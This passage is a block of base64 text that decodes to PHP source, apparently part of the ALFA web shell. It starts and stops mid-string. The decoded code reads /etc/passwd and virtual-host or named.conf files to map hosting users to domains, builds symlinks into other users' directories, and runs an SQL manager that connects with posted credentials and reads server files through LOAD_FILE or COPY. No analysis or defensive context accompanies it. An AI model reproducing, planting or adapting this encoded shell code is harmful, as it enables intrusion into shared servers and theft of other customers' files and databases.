8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmlmKCRzb2xlKXsKCWZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpewoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7CgkJCSRzb2xldmlzaWJsZSA9IGV4cGxvZGUoJzonLCAkdmlzaWJsZSk7CgkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgdHJpbSgkc29sZXZpc2libGVbMV0pLCAkbWFrZXB3ZCk7CgkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJfQoJfQp9ZWxzZXsKCSRwYXNzd2QgPSBfYWxmYV9maWxlKCIvZXRjL3Bhc3N3ZCIpOwoJaWYoJHBhc3N3ZCl7CgkJJGh0bWwgPSAiIjsKCQkkaXNfbmFtZWQgPSBmYWxzZTsKCQkkdXNlcnMgPSBhcnJheSgpOwoJCSRkb21haW5zID0gYXJyYXkoKTsKCQkkdWtub3ducyA9IGFycmF5KCk7CgkJZm9yZWFjaCgkcGFzc3dkIGFzICR1c2VyKXsKCQkJJHVzZXIgPSB0cmltKCR1c2VyKTsKCQkJJGV4cGwgPSBleHBsb2RlKCI6IiwgJHVzZXIpOwoJCQlpZigoaW50KSRleHBsWzJdIDwgNTAwKWNvbnRpbnVlOwoJCQkkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07CgkJfQoJCSRzaXRlX2RvbWFpbnMgPSBAc2NhbmRpcigiL2V0Yy92aXJ0dWFsLyIpOwoJCWlmKCEkc2l0ZV9kb21haW5zKXsKCQkJJHNpdGVfZG9tYWlucyA9IGFsZmFFeCgibHMgL2V0Yy92aXJ0dWFsLyIpOwoJCQkkc2l0ZV9kb21haW5zID0gZXhwbG9kZSgiXG4iLCAkc2l0ZV9kb21haW5zKTsKCQkJaWYoISRzaXRlX2RvbWFpbnMpewoJCQkJJHNpdGVfZG9tYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQkJaWYoJHNpdGVfZG9tYWlucyl7JGlzX25hbWVkID0gdHJ1ZTt9CgkJCX0KCQl9CgkJZm9yZWFjaCgkc2l0ZV9kb21haW5zIGFzICRsaW5lKXsKCQkJaWYoJGlzX25hbWVkKXsKCQkJCWlmKEBzdHJzdHIoJGxpbmUsICd6b25lJykpewoJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCQlpZihzdHJsZW4oJGRvbWFpbiAgPiAyKSAmJiAhZW1wdHkoJGRvbWFpbikpewoJCQkJCQkkZG9tYWluc1tdID0gJGRvbWFpbjsKCQkJCQl9CgkJCQl9CgkJCX1lbHNlewoJCQkJJGRvbWFpbnNbXSA9ICRsaW5lOwoJCQl9CgkJfQoJCSR4ID0gMTsKCQlmb3JlYWNoKCR1c2VycyBhcyAkdXNlciA9PiAkaG9tZSl7CgkJCWZvcmVhY2goJGRvbWFpbnMgYXMgJGRvbWFpbil7CgkJCQkkdXNlcl9sZW4gPSBzdHJsZW4oJHVzZXIpIC0gMTsKCQkJCSRzdWJfZG9tYWluID0gc3RyX3JlcGxhY2UoYXJyYXkoIi0iLCIuIiksICIiLCAkZG9tYWluKTsKCQkJCSRmaXZlX3VzZXIgPSBzdWJzdHIoJHVzZXIsIDAsJHVzZXJfbGVuKTsKCQkJCSRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOwoJCQkJaWYoJGZpdmVfdXNlciA9PSAkZml2ZV9kb21haW4pewoJCQkJCWlmKCRpc19kaXJlY3QpewoJCQkJCQkkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CgkJCQkJfWVsc2V7CgkJCQkJCSRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CgkJCQkJCSRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07CgkJCQkJfQoJCQkJCSRodG1sIC49IHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCAie2N3ZH0iKSwgYXJyYXkoJHgrKywgJHVzZXIsICRkb21haW4sICRjd2QpLCAkdGVtcGxhdGUpOwoJCQkJfWVsc2V7CgkJCQkJJHVrbm93bnNbJHVzZXJdID0gJGhvbWU7CgkJCQl9CgkJCX0KCQl9CgkJJHVrbm93bnMgPSBhcnJheV91bmlxdWUoJHVrbm93bnMpOwoJCWZvcmVhY2goJHVrbm93bnMgYXMgJHVzZXIgPT4gJGhvbWUpewoJCQlpZigkaXNfZGlyZWN0KXsKCQkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKCQkJfWVsc2V7CgkJCQkkZXhwbCA9IGV4cGxvZGUoIn0vIiwgJG1ha2Vwd2QpOwoJCQkJJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsKCQkJfQoJCQkkaHRtbCAuPSBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsInt1c2VyfSIsInt1cmx9IiwgIntjd2R9IiksIGFycmF5KCR4KyssICR1c2VyLCAiWz8/Pz8/XSIsICRjd2QpLCAkdGVtcGxhdGUpOwoJCX0KCQllY2hvKCRodG1sKTsKCX0KfQplY2hvICI8L3RhYmxlPiI7CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQp9ZWxzZXsKCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIFN5bWxpbmsgRnVuY3Rpb24gRGlzYWJsZWQgITwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+IjsKCSRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQppZigkY2FudF9zeW1saW5rKWVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48YnI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkVycm9yLi4uPC9mb250PjwvYj48YnI+JzsKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOwp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhc3FsKCl7CmNsYXNzIERiQ2xhc3N7CnB1YmxpYyAkdHlwZTsKcHVibGljICRsaW5rOwpwdWJsaWMgJHJlczsKcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvciA9IGZhbHNlOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9ICIiOwpmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSl7CiR0aGlzLT50eXBlID0gJHR5cGU7Cn0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZigkdGhpcy0+bGluayA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcywkZGJuYW1lKSl7CglyZXR1cm4gdHJ1ZTsKfWVsc2V7CgkkdGhpcy0+bXlzcWxpX2Nvbm5lY3RfZXJyb3IgPSB0cnVlOwoJJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9IG15c3FsaV9jb25uZWN0X2Vycm9yKCk7CglyZXR1cm4gZmFsc2U7Cn0KYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwppZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CmlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZihAbXlzcWxpX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gcXVlcnkoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxpX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGZldGNoKCl7CiRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0RGJzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0VGFibGVzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBlcnJvcigpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CnJldHVybiBAbXlzcWxpX2Vycm9yKCR0aGlzLT5saW5rKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKcmV0dXJuIEBteXNxbGlfc2V0X2NoYXJzZXQoJHRoaXMtPmxpbmssJHN0cik7CmVsc2UKJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgc29sZXZpc2libGUoZmlsZSB0ZXh0KTtDT1BZIHNvbGV2aXNpYmxlIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHNvbGV2aXNpYmxlOyIpOwokcj1hcnJheSgpOwp3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKJHJbXSA9ICRpWydmaWxlJ107CiR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBzb2xldmlzaWJsZScpOwpyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9Cn07CiRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsKYWxmYWhlYWQoKTsKJGZvcm1fdmlzaWJpbGl0eSA9ICJ0YWJsZSI7CmlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewoJJGNvbm5lY3Rpb25fZGIgPSAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CglpZigkY29ubmVjdGlvbl9kYiAmJiAhZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CgkJJGZvcm1fdmlzaWJpbGl0eSA9ICJub25lIjsKCX0KfQokZGF0YWJhc2VfbGlzdCA9IGFycmF5KCk7CmVjaG8gIgo8ZGl2IGNsYXNzPSdoZWFkZXInIHN0eWxlPSdtaW4taGVpZ2h0OjMwMHB4Oyc+Ii4oJGZvcm1fdmlzaWJpbGl0eSE9Im5vbmUiPyI8Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNxbCBNYW5hZ2VyIHw8L2Rpdj48cD4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8L3A+PC9jZW50ZXI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTogMTBweDsnPjxidXR0b24gY2xhc3M9J2Nvbm5lY3Rpb24taGlzLWJ0biBkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFTaG93Q29ubmVjdGlvbkhpc3RvcnkodGhpcyk7JyBtb2RlPSdvbic+Q29ubmVjdGlvbiBIaXN0b3J5PC9idXR0b24+PGRpdiBjbGFzcz0nY29ubmVjdGlvbl9oaXN0b3J5X2hvbGRlcic+PC9kaXY+PC9kaXY+IjoiIikuIgo8ZGl2IGNsYXNzPSdzZicgY2xhc3M9J2RiLW9wdC1pZCc+PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsiLigkZm9ybV92aXNpYmlsaXR5PT0ibm9uZSI/ImRpc3BsYXk6bm9uZTsiOiIiKS4iJyBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+Cjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyBzZWxlY3RlZD5teXNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2hvc3QnIGlkPSdkYl9ob3N0JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfbG9naW4nIGlkPSdkYl91c2VyJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9wYXNzJyBpZD0nZGJfcHcnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOwokdG1wID0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfYmFzZScgaWQ9J2RiX25hbWUnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2Jhc2UnXSkpIC4iJz4iOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKaWYoJGNvbm5lY3Rpb25fZGIpewokZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsKJGRiLT5saXN0RGJzKCk7CmVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7Cmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwokZGF0YWJhc2VfbGlzdFtdID0gJHZhbHVlOwplY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwp9CmVjaG8gJzwvc2VsZWN0Pic7Cn1lbHNlewoJZWNobyAkdG1wOwp9Cn1lbHNlCmVjaG8gJHRtcDsKJGN1cnJfbXlzcWxfaWQgPSAkX1BPU1RbJ2N1cnJlbnRfbXlzcWxfaWQnXTsKZWNobyAiPC90ZD4KPHRkPjxidXR0b24gb25jbGljaz0nZnModGhpcyk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2RiLW9wdC1pZCBkYi1jb25uZWN0LWJ0bic+Q29ubmVjdDwvYnV0dG9uPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3NxbF9jb3VudCcgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPmNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvZGl2PjwvdGQ+CjwvdHI+CjwvdGFibGU+IjsKaWYoJGRiLT5teXNxbGlfY29ubmVjdF9lcnJvcil7CgllY2hvICc8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1zaXplOiAxN3B4O21hcmdpbi10b3A6IDE4cHg7Ij4nLiRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnLic8L2Rpdj4nOwp9CmlmKCFlbXB0eSgkY3Vycl9teXNxbF9pZCkpewoJJHNxbF90aXRsZV9kYiA9ICIiOwoJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCSRzcWxfdGl0bGVfZGIgPSAiZC5xdWVyeVNlbGVjdG9yKCcjdGFiXyIuJGN1cnJfbXlzcWxfaWQuIiBzcGFuJykuaW5uZXJIVE1MPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsiOwoJfQoJZWNobyAiPHNjcmlwdD5teXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2hvc3QnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2hvc3QnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd1c2VyJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9sb2dpbiddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydkYiddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NoYXJzZXQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnY2hhcnNldCddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NvdW50J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9jb3VudCddKS4iJzsiLiRzcWxfdGl0bGVfZGIuImFsZmFDb25uZWN0aW9uSGlzdG9yeVVwZGF0ZSgpOzwvc2NyaXB0PiI7Cn0KaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewppZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CmVjaG8gIjxkaXYgY2xhc3M9J215c3FsLW1haW4nPjxkaXYgbW9kZT0nYmxvY2snIG9uY2xpY2s9J2FsZmFNeXNxbFRhYmxlUGFuZWxDdGwodGhpcyk7JyBjbGFzcz0ndGFibGVzLXBhbmVsLWN0bCBkYi1vcHQtaWQnPiYjeDNDOyYjeDNDOzwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXRhYmxlcyc+PGRpdj48aW5wdXQgcGxhY2Vob2xkZXI9XCJGaWx0ZXIgVGFibGVcIiBzdHlsZT0ncGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbHRlcl9hbGwnPjxidXR0b24gY2xhc3M9J2RiLW9wdC1pZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nYmxvY2snPjxhIHNxbF9jb3VudD0nIi4oZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/ImZhbHNlIjoidHJ1ZSIpLiInIG1vZGU9J2Nsb3NlZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyx0cnVlKTsnIGNsYXNzPSdleHBhbmRlciBwYXJlbnQtZXhwYW5kZXIgZGItb3B0LWlkJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7Jz48aW1nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfcGx1cy5wbmcnIHRpdGxlPSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcycgYWx0PSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcyc+PC9hPjwvZGl2Pjx1bCBzdHlsZT0nbWFyZ2luLXRvcDogMjhweDsnPiI7CmZvcmVhY2ggKCRkYXRhYmFzZV9saXN0IGFzICRkYl9uYW1lKSB7CgllY2hvICc8bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PGEgc3FsX2NvdW50PSInLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8iZmFsc2UiOiJ0cnVlIikuJyIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEV4cGFuZGVyKHRoaXMpOyIgY2xhc3M9ImV4cGFuZGVyIGNscy0nLiRkYl9uYW1lLictZXhwYW5kZXIgZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij48aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LycuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIikuJyIgdGl0bGU9IkV4cGFuZC9Db2xsYXBzZSIgYWx0PSJFeHBhbmQvQ29sbGFwc2UiPjwvYT48L2Rpdj48c3BhbiBjbGFzcz0iZGJfbmFtZSI+Jy4kZGJfbmFtZS4nPC9zcGFuPjxkaXYgY2xhc3M9ImNsZWFyZmxvYXQiPjwvZGl2PjxkaXYgZGJfbmFtZT0iJy4kZGJfbmFtZS4nIiBtb2RlPSInLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/ImxvYWRlZCI6Im5vIikuJyIgY2xhc3M9Imxpc3RfY29udGFpbmVyIGNscy0nLiRkYl9uYW1lLiciPjxkaXY+JzsKCWlmKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXSl7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwoJCWVjaG8gJzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBwbGFjZWhvbGRlcj0iRmlsdGVyIFRhYmxlIiBvbmtleXVwPSJhbGZhTXlzcWxGaWx0ZXJUYWJsZSh0aGlzKTsiIG5hbWU9ImZpbHRlciI+PC9kaXY+PC9saT4nOwoJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKXsKCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQlpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCgkJJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gYCcuJHZhbHVlLidgJykpOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKCQllY2hvICI8bGk+PGRpdiBjbGFzcz0nYmxvY2snPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdiBjbGFzcz0ndGFibGVzLXJvdyc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGNsYXNzPSdkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kZGJfbmFtZS4iJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywnIi4kdmFsdWUuIicpXCI+PHNwYW4gY2xhc3M9J215c3FsX3RhYmxlcycgc3R5bGU9J2ZvbnQtd2VpZ2h0